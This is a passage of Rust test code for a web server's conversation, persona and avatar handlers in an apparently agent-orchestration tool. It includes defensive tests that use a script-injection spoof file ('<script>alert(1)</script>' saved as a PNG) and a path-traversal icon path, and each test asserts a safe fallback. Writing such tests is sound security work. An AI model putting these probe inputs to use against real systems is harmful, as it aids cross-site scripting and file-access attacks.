10558        let refused = call("mock").await.expect_err("closed talk");
10559        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10560        assert!(
10561            refused.message.contains("takes no more turns"),
10562            "{}",
10563            refused.message
10564        );
10565    }
10566
10567    #[tokio::test]
10568    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10569        let tmp = TempDir::new().expect("tempdir");
10570        let repo = tmp.path().join("repo");
10571        std::fs::create_dir_all(&repo).expect("repo dir");
10572        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10573        let home = TempDir::new().expect("temp home");
10574        let talks = Talks::at(home.path().join("talks"));
10575        let ui = Arc::new(
10576            Ui::new(
10577                Queue::at(home.path().join("queue")),
10578                Questions::at(home.path().join("questions")),
10579                talks.clone(),
10580                home.path().join("runs"),
10581                home.path().to_path_buf(),
10582                repo.clone(),
10583            )
10584            .with_worktrees_root(home.path().join("wt")),
10585        );
10586        let cfg = config_for(&repo).await.expect("discover config");
10587        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10588        let id = talk.id.clone();
10589        let call = |n: u8| {
10590            talk_implementers(
10591                State(Arc::clone(&ui)),
10592                Path(id.clone()),
10593                Json(TalkImplementers { implementers: n }),
10594            )
10595        };
10596
10597        for bad in [0u8, 4] {
10598            let e = call(bad).await.expect_err("out of range");
10599            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10600        }
10601        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10602
10603        {
10604            // Nothing refused so far took a claim, so the guard is free to take
10605            // and holding it is what makes the talk busy.
10606            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10607            let busy = call(2).await.expect_err("busy talk");
10608            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10609            assert!(
10610                busy.message.contains("a talk turn is running"),
10611                "{}",
10612                busy.message
10613            );
10614            drop(guard);
10615        }
10616
10617        let Json(view) = call(3).await.expect("switch");
10618        assert_eq!(view.talk.implementers, 3);
10619        assert!(talks.get(&id).expect("reload").implementers_dirty);
10620        assert!(!view.thinking);
10621        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10622        for n in [1, 2, 3] {
10623            let Json(view) = call(n).await.expect("immediate consecutive change");
10624            assert_eq!(view.talk.implementers, n);
10625            assert!(!view.thinking);
10626            assert!(!ui.is_thinking(&id));
10627        }
10628
10629        let mut closed = talks.get(&id).expect("reload");
10630        talk::close(&mut closed, &talks).expect("close");
10631        let e = call(2).await.expect_err("closed talk");
10632        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10633        assert!(e.message.contains("takes no more turns"), "{}", e.message);
10634    }
10635
10636    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
10637    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10638        let tmp = TempDir::new().expect("tempdir");
10639        let repo = tmp.path().join("repo");
10640        std::fs::create_dir_all(&repo).expect("repo dir");
10641        std::fs::write(
10642            repo.join("magi.toml"),
10643            format!("{MOCK_AGENT_TOML}\n{extra}"),
10644        )
10645        .expect("write magi.toml");
10646        let home = TempDir::new().expect("temp home");
10647        let talks = Talks::at(home.path().join("talks"));
10648        let ui = Arc::new(
10649            Ui::new(
10650                Queue::at(home.path().join("queue")),
10651                Questions::at(home.path().join("questions")),
10652                talks.clone(),
10653                home.path().join("runs"),
10654                home.path().to_path_buf(),
10655                repo.clone(),
10656            )
10657            .with_worktrees_root(home.path().join("wt")),
10658        );
10659        let cfg = config_for(&repo).await.expect("discover config");
10660        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10661        (tmp, home, ui, talk.id, repo)
10662    }
10663
10664    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
10665    async fn avatar(
10666        ui: &Arc<Ui>,
10667        id: &str,
10668        persona: Option<&str>,
10669        builtin: bool,
10670    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10671        let res = talk_avatar(
10672            State(Arc::clone(ui)),
10673            Path(id.to_owned()),
10674            Query(AvatarQuery {
10675                persona: persona.map(str::to_owned),
10676                builtin: builtin.then(|| "1".to_owned()),
10677            }),
10678        )
10679        .await
10680        .expect("an avatar is never an error response");
10681        let h = res.headers();
10682        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10683        let nosniff = h
10684            .get(header::X_CONTENT_TYPE_OPTIONS)
10685            .is_some_and(|v| v == "nosniff");
10686        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10687        let status = res.status();
10688        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10689            .await
10690            .expect("body")
10691            .to_vec();
10692        (status, ct, nosniff, csp, body)
10693    }
10694
10695    fn tiny_png() -> Vec<u8> {
10696        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10697        b.extend_from_slice(&[0u8; 32]);
10698        b
10699    }
10700
10701    #[tokio::test]
10702    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10703        let res = operator_avatar().await;
10704        assert_eq!(res.status(), StatusCode::OK);
10705        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10706        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10707        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10708        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10709        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10710            .await
10711            .unwrap();
10712        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10713        assert_ne!(
10714            persona_icon::operator_svg(),
10715            persona_icon::builtin_svg("default")
10716        );
10717    }
10718
10719    #[tokio::test]
10720    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10721        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10722        for p in [
10723            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10724        ] {
10725            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10726            assert_eq!(status, StatusCode::OK, "{p}");
10727            assert_eq!(ct, "image/svg+xml", "{p}");
10728            assert!(nosniff && csp, "{p}");
10729            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10730        }
10731        // No `persona` means the conversation's own; unknown ones fall back.
10732        let own = avatar(&ui, &id, None, false).await;
10733        let default = avatar(&ui, &id, Some("default"), false).await;
10734        assert_eq!(own.4, default.4);
10735        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10736        assert_eq!(unknown.1, "image/svg+xml");
10737    }
10738
10739    #[tokio::test]
10740    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10741        let dir = TempDir::new().expect("icons");
10742        let good = dir.path().join("good.png");
10743        std::fs::write(&good, tiny_png()).unwrap();
10744        let spoof = dir.path().join("spoof.png");
10745        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10746        let big = dir.path().join("big.png");
10747        let mut bytes = tiny_png();
10748        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10749        std::fs::write(&big, bytes).unwrap();
10750        let missing = dir.path().join("missing.png");
10751        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10752        let extra = format!(
10753            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10754             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10755             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10756             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10757             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10758             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10759            uri(&good),
10760            uri(&spoof),
10761            uri(&big),
10762            uri(&missing),
10763        );
10764        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10765
10766        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10767        assert_eq!(
10768            (status, ct.as_str(), nosniff),
10769            (StatusCode::OK, "image/png", true)
10770        );
10771        assert_eq!(body, tiny_png());
10772        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10773        assert_eq!(ct, "image/png", "data URI");
10774
10775        for p in ["misato", "asuka", "shinji", "magi"] {
10776            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10777            assert_eq!(
10778                (status, ct.as_str(), csp),
10779                (StatusCode::OK, "image/svg+xml", true),
10780                "{p}"
10781            );
10782            assert!(body.starts_with(b"<svg"), "{p}");
10783        }
10784        // The page's own retry skips the icon.
10785        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10786        assert_eq!(ct, "image/svg+xml");
10787    }
10788
10789    #[tokio::test]
10790    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10791        let oversized = format!(
10792            "data:image/png;base64,{}",
10793            "A".repeat(persona_icon::ICON_MAX_BYTES)
10794        );
10795        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10796            let extra = format!(
10797                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10798            );
10799            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10800            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10801                .await
10802                .expect("detail with invalid icon");
10803            assert!(detail.personas.iter().any(|p| p.id == "custom"));
10804            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10805            assert_eq!(status, StatusCode::OK);
10806            assert_eq!(ct, "image/svg+xml");
10807            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10808            let Json(view) = talk_persona(
10809                State(Arc::clone(&ui)),
10810                Path(id.clone()),
10811                Json(TalkPersona {
10812                    persona: "custom".into(),
10813                }),
10814            )
10815            .await
10816            .expect("persona switch with invalid icon");
10817            assert_eq!(view.talk.persona, "custom");
10818            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10819        }
10820    }
10821
10822    #[tokio::test]
10823    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10824        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10825        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10826        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10827        assert_eq!(
10828            (status, ct.as_str(), nosniff, csp),
10829            (StatusCode::OK, "image/svg+xml", true, true)
10830        );
10831    }
10832
10833    #[tokio::test]
10834    async fn the_talk_view_carries_server_built_avatar_urls_only() {
10835        let (_t, _h, ui, id, _repo) =
10836            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10837        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10838            .await
10839            .expect("detail");
10840        let json = serde_json::to_string(&detail).unwrap();
10841        assert!(
10842            !json.contains("secret"),
10843            "the icon setting must not leak: {json}"
10844        );
10845        assert!(
10846            detail
10847                .view
10848                .persona_avatar
10849                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10850        );
10851        assert_eq!(
10852            detail.view.operator_avatar,
10853            format!(
10854                "/avatars/operator.svg?v={}",
10855                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10856            )
10857        );
10858        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10859        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10860        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10861        assert!(rei.avatar.contains("persona=rei&v="));
10862        assert_ne!(
10863            rei.avatar.split("&v=").nth(1),
10864            plain.avatar.split("&v=").nth(1)
10865        );
10866    }
10867
10868    #[tokio::test]
10869    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10870        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10871        let cfg = config_for(&repo).await.unwrap();
10872        for arrived in [false, true] {
10873            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10874            let observed = ui.queued_generation(&id);
10875            let talk = ui.talks.get(&id).unwrap();
10876            if arrived {
10877                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10878            }
10879            let mut settling = std::pin::pin!(settle_settings_turn(
10880                talk,
10881                ui.talks.clone(),
10882                cfg.clone(),
10883                id.clone(),
10884                turn,
10885                observed
10886            ));
10887            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10888            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10889            assert_eq!(first.is_pending(), arrived);
10890            if arrived {
10891                assert!(!settling.await);
10892            }
10893            assert!(!ui.is_thinking(&id));
10894        }
10895    }
10896
10897    #[tokio::test]
10898    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10899        let tmp = TempDir::new().expect("tempdir");
10900        let repo = tmp.path().join("repo");
10901        std::fs::create_dir_all(&repo).expect("repo dir");
10902        std::fs::write(
10903            repo.join("magi.toml"),
10904            format!(
10905                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10906            ),
10907        )
10908        .expect("write magi.toml");
10909        let home = TempDir::new().expect("temp home");
10910        let talks = Talks::at(home.path().join("talks"));
10911        let ui = Arc::new(
10912            Ui::new(
10913                Queue::at(home.path().join("queue")),
10914                Questions::at(home.path().join("questions")),
10915                talks.clone(),
10916                home.path().join("runs"),
10917                home.path().to_path_buf(),
10918                repo.clone(),
10919            )
10920            .with_worktrees_root(home.path().join("wt")),
10921        );
10922        let cfg = config_for(&repo).await.expect("discover config");
10923        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10924        let id = talk.id.clone();
10925        let call = |persona: &str| {
10926            talk_persona(
10927                State(Arc::clone(&ui)),
10928                Path(id.clone()),
10929                Json(TalkPersona {
10930                    persona: persona.to_owned(),
10931                }),
10932            )
10933        };
10934
10935        let unknown = call("nobody").await.expect_err("unknown persona");
10936        assert_eq!(
10937            unknown.status,
10938            StatusCode::BAD_REQUEST,
10939            "{}",
10940            unknown.message
10941        );
10942
10943        {
10944            // Nothing refused so far took a claim, so the guard is free to take
10945            // and holding it is what makes the talk busy.
10946            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10947            let busy = call("rei").await.expect_err("busy talk");
10948            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10949            assert!(
10950                busy.message.contains("a talk turn is running"),
10951                "{}",
10952                busy.message
10953            );
10954            drop(guard);
10955        }
10956        assert_eq!(talks.get(&id).expect("reload").persona, "");
10957
10958        let Json(view) = call("gendo").await.expect("switch to a configured persona");
10959        assert_eq!(view.talk.persona, "gendo");
10960        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10961        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10962        // No intervening I/O or sleep may be needed before another change.
10963        for chosen in ["default", "gendo", "rei", "gendo"] {
10964            let Json(view) = call(chosen).await.expect("immediate consecutive change");
10965            assert!(!view.thinking);
10966            assert!(!ui.is_thinking(&id));
10967        }
10968
10969        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10970            .await
10971            .expect("detail");
10972        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10973        assert_eq!(ids.first(), Some(&"default"));
10974        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10975
10976        let Json(view) = call("default").await.expect("back to default");
10977        assert_eq!(view.talk.persona, "");
10978
10979        let mut closed = talks.get(&id).expect("reload");
10980        talk::close(&mut closed, &talks).expect("close");
10981        let refused = call("rei").await.expect_err("closed talk");
10982        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10983        assert!(
10984            refused.message.contains("takes no more turns"),
10985            "{}",
10986            refused.message
10987        );
10988    }
10989
10990    #[tokio::test]
10991    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10992        let f = Fixture::start().await;
10993        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10994        let queue = f.queue();
10995        let mut mine = Task::new(
10996            "rename the loader".to_owned(),
10997            "rename the loader".to_owned(),
10998            PathBuf::from("/repo/magi"),
10999            Source::Agent {
11000                run: talk_id.clone(),
11001                node: "chat".to_owned(),
11002            },
11003        );
11004        queue.put(&mut mine).expect("file the task");
11005        let mut theirs = Task::new(
11006            "unrelated".to_owned(),
11007            "unrelated".to_owned(),
11008            PathBuf::from("/repo/magi"),
11009            Source::Human,
11010        );
11011        queue.put(&mut theirs).expect("file the task");
11012
11013        let res = f.get(&format!("/api/talks/{talk_id}")).await;
11014        assert_eq!(res.status, 200, "{}", res.body);
11015        let body = res.json();
11016        assert_eq!(
11017            body["status"], "open",
11018            "filing a task does not close a talk"
11019        );
11020        let tasks = body["tasks"].as_array().expect("tasks array");
11021        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11022        assert_eq!(tasks[0]["id"], mine.id);
11023    }
11024
11025    #[tokio::test]
11026    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11027        let (_tmp, _repo, f) = talk_fixture().await;
11028        let id = f.post("/api/talks", None).await.json()["id"]
11029            .as_str()
11030            .expect("id")
11031            .to_owned();
11032
11033        let res = f
11034            .post(
11035                &format!("/api/talks/{id}/say"),
11036                Some(r#"{"text":"what does the queue module do?"}"#),
11037            )
11038            .await;
11039        assert_eq!(res.status, 202, "{}", res.body);
11040        let queued = res.json();
11041        let turns = queued["turns"].as_array().expect("turns array");
11042        assert_eq!(
11043            turns.len(),
11044            1,
11045            "the answer reflects only what is on disk the instant it is sent, \
11046             before the agent's turn - which can run for the whole of \
11047             `[graph] timeout_talk` - has a chance to land: {queued}"
11048        );
11049        assert_eq!(turns[0]["who"], "operator");
11050        assert_eq!(turns[0]["body"], "what does the queue module do?");
11051        assert_eq!(
11052            queued["thinking"], true,
11053            "the accepted response exposes the background turn claim: {queued}"
11054        );
11055
11056        let mut turns_after = 1;
11057        for _ in 0..SETTLE_STEPS {
11058            let detail = f.get(&format!("/api/talks/{id}")).await.json();
11059            turns_after = detail["turns"].as_array().expect("turns array").len();
11060            if turns_after == 2 {
11061                break;
11062            }
11063            tokio::time::sleep(Duration::from_millis(10)).await;
11064        }
11065        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11066    }
11067
11068    /// A phone that reloads mid-request drops `talk_say`'s whole handler
11069    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
11070    /// guards against: `talk::record` used to return, and only *then* did the
11071    /// handler make a second, separate disk round trip before spawning the
11072    /// agent's reply task. A future dropped in that gap left a message
11073    /// recorded on disk with no reply task ever started and no way back short
11074    /// of a fresh message - and the gap was not even the whole story: *any*
11075    /// `.await` in this handler, including the very first one, is a point
11076    /// where a drop can land after the awaited work already finished but
11077    /// before this handler's own code resumes to act on it. `record` now
11078    /// runs inside the task `tokio::spawn` hands to the runtime before this
11079    /// handler ever awaits anything of its own again, so there is nothing
11080    /// left in *this* handler's future for a disconnect to interrupt between
11081    /// the message landing on disk and the reply task starting.
11082    ///
11083    /// A real socket disconnect cannot be relied on to land in the old gap
11084    /// from a test - over loopback, `talk_say` typically finishes before the
11085    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
11086    /// same failure mode directly: it drops the task's future at whatever
11087    /// point it has reached, exactly what axum does to the handler future,
11088    /// without needing to win a real network race. Sweeping the delay before
11089    /// aborting samples a range of points the task's execution can be at,
11090    /// including where the old code sat waiting on its second disk round
11091    /// trip - confirmed by reverting this fix locally and watching this same
11092    /// sweep catch a talk stuck with the operator's turn recorded and no
11093    /// reply ever following.
11094    #[tokio::test]
11095    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11096        let tmp = TempDir::new().expect("tempdir");
11097        let repo = tmp.path().join("repo");
11098        std::fs::create_dir_all(&repo).expect("repo dir");
11099        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11100        let home = TempDir::new().expect("temp home");
11101        let talks = Talks::at(home.path().join("talks"));
11102        let ui = Arc::new(
11103            Ui::new(
11104                Queue::at(home.path().join("queue")),
11105                Questions::at(home.path().join("questions")),
11106                talks.clone(),
11107                home.path().join("runs"),
11108                home.path().to_path_buf(),
11109                repo.clone(),
11110            )
11111            .with_worktrees_root(home.path().join("wt")),
11112        );
11113        let cfg = config_for(&repo).await.expect("discover config");
11114
11115        for delay in 0..40u32 {
11116            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11117            let id = talk.id.clone();
11118
11119            let handler = tokio::spawn(talk_say(
11120                State(Arc::clone(&ui)),
11121                Path(id.clone()),
11122                Ok(Json(NewTalkTurn {
11123                    reply_to: None,
11124                    text: "what does the queue module do?".to_owned(),
11125                    attachments: Vec::new(),
11126                })),
11127            ));
11128            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11129            handler.abort();
11130            // Wait out the abort so the next iteration's talk does not race
11131            // this one's still-unwinding turn guard.
11132            let _ = handler.await;
11133
11134            let mut turns = 0;
11135            for _ in 0..SETTLE_STEPS {
11136                if let Ok(fresh) = talks.get(&id) {
11137                    turns = fresh.turns.len();
11138                    if turns != 1 {
11139                        break;
11140                    }
11141                }
11142                tokio::time::sleep(Duration::from_millis(10)).await;
11143            }
11144            assert_ne!(
11145                turns, 1,
11146                "delay {delay}: talk {id} recorded the operator's turn but \
11147                 the agent never answered - the reply task was never \
11148                 started after the handler future was dropped"
11149            );
11150        }
11151    }
11152
11153    /// The same drop, landing on `talk_say`'s other durable write.
11154    ///
11155    /// When a turn is already running, the busy branch persists the
11156    /// operator's text as a queued draft and then reclaims the turn slot if
11157    /// the holder gave it up in the meantime - and whoever reclaims owes that
11158    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
11159    /// which finishes whether or not the future awaiting it is still there,
11160    /// so a handler dropped at that `.await` used to leave the draft written
11161    /// to disk with the reclaimed guard dropped unread and no drainer ever
11162    /// started: the message sat queued until some unrelated later `say`
11163    /// happened to pick it up.
11164    ///
11165    /// This used to drive the handler future by hand, polling it a fixed
11166    /// number of times to park it at the `.await` where it asks for the turn
11167    /// and finds it busy, before the reclaim's slot-free case could be set up
11168    /// underneath it. That assumed a fixed number of polls lands at a fixed
11169    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
11170    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
11171    /// poll, so any number of this handler's several `blocking` awaits can
11172    /// collapse into one poll under load, landing the drive somewhere other
11173    /// than intended - including, occasionally, straight past the handler's
11174    /// own completion, which made polling it again panic with "async fn
11175    /// resumed after completion". No poll count fixes that; the handler's
11176    /// progress simply is not something a caller outside it can observe by
11177    /// counting.
11178    ///
11179    /// [`BusyQueueGate`] replaces the poll count with a real stop point
11180    /// inside the write itself, so the interleaving under test is pinned by
11181    /// an event instead of a guess: the gate fires only once the handler has
11182    /// actually decided `Busy` and is about to persist the draft, and it
11183    /// blocks that write until the test lets it through. Between those two
11184    /// moments the test drains the turn the handler found busy - through
11185    /// `drain_loop`, the protocol's other half - and then aborts the handler
11186    /// task outright, the same way axum drops a disconnected request's
11187    /// future. The write, and the reclaim it may do, run to completion
11188    /// regardless: they live in the `tokio::spawn` task the busy branch hands
11189    /// to the runtime before ever touching the gate, wholly independent of
11190    /// whether the handler that started it is still around - which is what
11191    /// this test is actually checking. A drainer other than that reclaim
11192    /// cannot exist here: the test's own `drain_loop` call happens before the
11193    /// gate opens, so it runs while the queue is still empty and hands the
11194    /// turn straight back rather than draining anything, closing off the
11195    /// possibility of the final assertion passing without the reclaim ever
11196    /// having done its job.
11197    #[tokio::test]
11198    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11199        let tmp = TempDir::new().expect("tempdir");
11200        let repo = tmp.path().join("repo");
11201        std::fs::create_dir_all(&repo).expect("repo dir");
11202        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11203        let home = TempDir::new().expect("temp home");
11204        let talks = Talks::at(home.path().join("talks"));
11205        let ui = Arc::new(
11206            Ui::new(
11207                Queue::at(home.path().join("queue")),
11208                Questions::at(home.path().join("questions")),
11209                talks.clone(),
11210                home.path().join("runs"),
11211                home.path().to_path_buf(),
11212                repo.clone(),
11213            )
11214            .with_worktrees_root(home.path().join("wt")),
11215        );
11216        let cfg = config_for(&repo).await.expect("discover config");
11217
11218        for attempt in 0..3u32 {
11219            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11220            let id = talk.id.clone();
11221            // A turn is already running, which is what sends `talk_say` down
11222            // the busy branch.
11223            let turn_guard = ui
11224                .begin_talk_turn(&id)
11225                .expect("claim the turn")
11226                .expect("a fresh talk owes nobody a turn");
11227
11228            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11229            let (release_tx, release_rx) = std::sync::mpsc::channel();
11230            ui.set_busy_queue_gate(BusyQueueGate {
11231                reached: reached_tx,
11232                release: release_rx,
11233            });
11234
11235            let handler = tokio::spawn(talk_say(
11236                State(Arc::clone(&ui)),
11237                Path(id.clone()),
11238                Ok(Json(NewTalkTurn {
11239                    reply_to: None,
11240                    text: "what does the queue module do?".to_owned(),
11241                    attachments: Vec::new(),
11242                })),
11243            ));
11244
11245            // Wait for the busy branch to actually reach the gate, rather
11246            // than for any fixed number of polls of anything - a bounded
11247            // wait rather than a bare `.await` so a regression that never
11248            // reaches the gate fails the test instead of hanging it.
11249            tokio::time::timeout(Duration::from_secs(5), reached_rx)
11250                .await
11251                .unwrap_or_else(|_| {
11252                    panic!(
11253                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11254                    )
11255                })
11256                .expect("the busy branch dropped the gate without using it");
11257
11258            // The turn that was running now finishes and gives the slot up
11259            // the way a real one does - through `drain_loop`, which finds
11260            // nothing queued yet (the write is still held at the gate) and
11261            // releases. The handler, parked inside `spawn_blocking` on the
11262            // other side of the gate, still believes the talk is busy -
11263            // exactly the interleaving the reclaim exists for.
11264            let running = talks.get(&id).expect("reload talk");
11265            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11266
11267            // Drop the handler future now, the way a reloading phone drops
11268            // it: suspended waiting on the busy branch's answer, having
11269            // itself made no more progress since it handed the write off.
11270            handler.abort();
11271            let _ = handler.await;
11272
11273            // Only now let the gated write proceed. It persists the draft
11274            // and reclaims the now-free slot from inside the task the busy
11275            // branch already spawned - unaffected by the handler's abort
11276            // above, since that task was independent of the handler's own
11277            // future from the moment it was spawned.
11278            let _ = release_tx.send(());
11279
11280            // A settled talk: the draft drained into an operator turn and
11281            // answered.
11282            let mut fresh = talks.get(&id).expect("reload talk");
11283            for _ in 0..SETTLE_STEPS {
11284                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11285                    break;
11286                }
11287                tokio::time::sleep(Duration::from_millis(10)).await;
11288                fresh = talks.get(&id).expect("reload talk");
11289            }
11290            assert!(
11291                fresh.pending.is_empty() && fresh.turns.len() == 2,
11292                "attempt {attempt}: talk {id} left the operator's text queued \
11293                 with no drainer - the reclaimed turn was dropped along with \
11294                 the handler future (pending {:?}, {} turns)",
11295                fresh.pending,
11296                fresh.turns.len()
11297            );
11298        }
11299    }
11300
11301    #[tokio::test]
11302    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11303        let (_tmp, _repo, f) = talk_fixture().await;
11304        let id = f.post("/api/talks", None).await.json()["id"]
11305            .as_str()
11306            .expect("id")
11307            .to_owned();
11308        let store = f.talks();
11309        let mut recovered = store.get(&id).expect("opened talk");
11310        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11311            .expect("persist pending draft without a live turn");
11312
11313        let edited = f
11314            .post(
11315                &format!("/api/talks/{id}/pending/edit"),
11316                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11317            )
11318            .await;
11319        assert_eq!(edited.status, 200, "{}", edited.body);
11320        assert!(edited.json()["thinking"].as_bool().unwrap());
11321
11322        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11323        for _ in 0..SETTLE_STEPS {
11324            if detail["turns"].as_array().expect("turns").len() == 2 {
11325                break;
11326            }
11327            tokio::time::sleep(Duration::from_millis(10)).await;
11328            detail = f.get(&format!("/api/talks/{id}")).await.json();
11329        }
11330        let turns = detail["turns"].as_array().expect("turns");
11331        assert_eq!(
11332            turns.len(),
11333            2,
11334            "the recovered draft must run once: {detail}"
11335        );
11336        assert_eq!(turns[0]["body"], "corrected");
11337        assert_eq!(detail["pending"], "");
11338    }
11339
11340    #[tokio::test]
11341    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11342        let tmp = TempDir::new().expect("tempdir");
11343        let repo = tmp.path().join("repo");
11344        std::fs::create_dir_all(&repo).expect("repo dir");
11345        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11346        let f = Fixture::with_repo(repo).await;
11347        let id = f.post("/api/talks", None).await.json()["id"]
11348            .as_str()
11349            .expect("id")
11350            .to_owned();
11351        let store = f.talks();
11352        let mut recovered = store.get(&id).expect("opened talk");
11353        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11354            .expect("persist pending draft without a live turn");
11355
11356        let refused = f
11357            .post(
11358                &format!("/api/talks/{id}/say"),
11359                Some(r#"{"text":"new message"}"#),
11360            )
11361            .await;
11362        assert_eq!(refused.status, 409, "{}", refused.body);
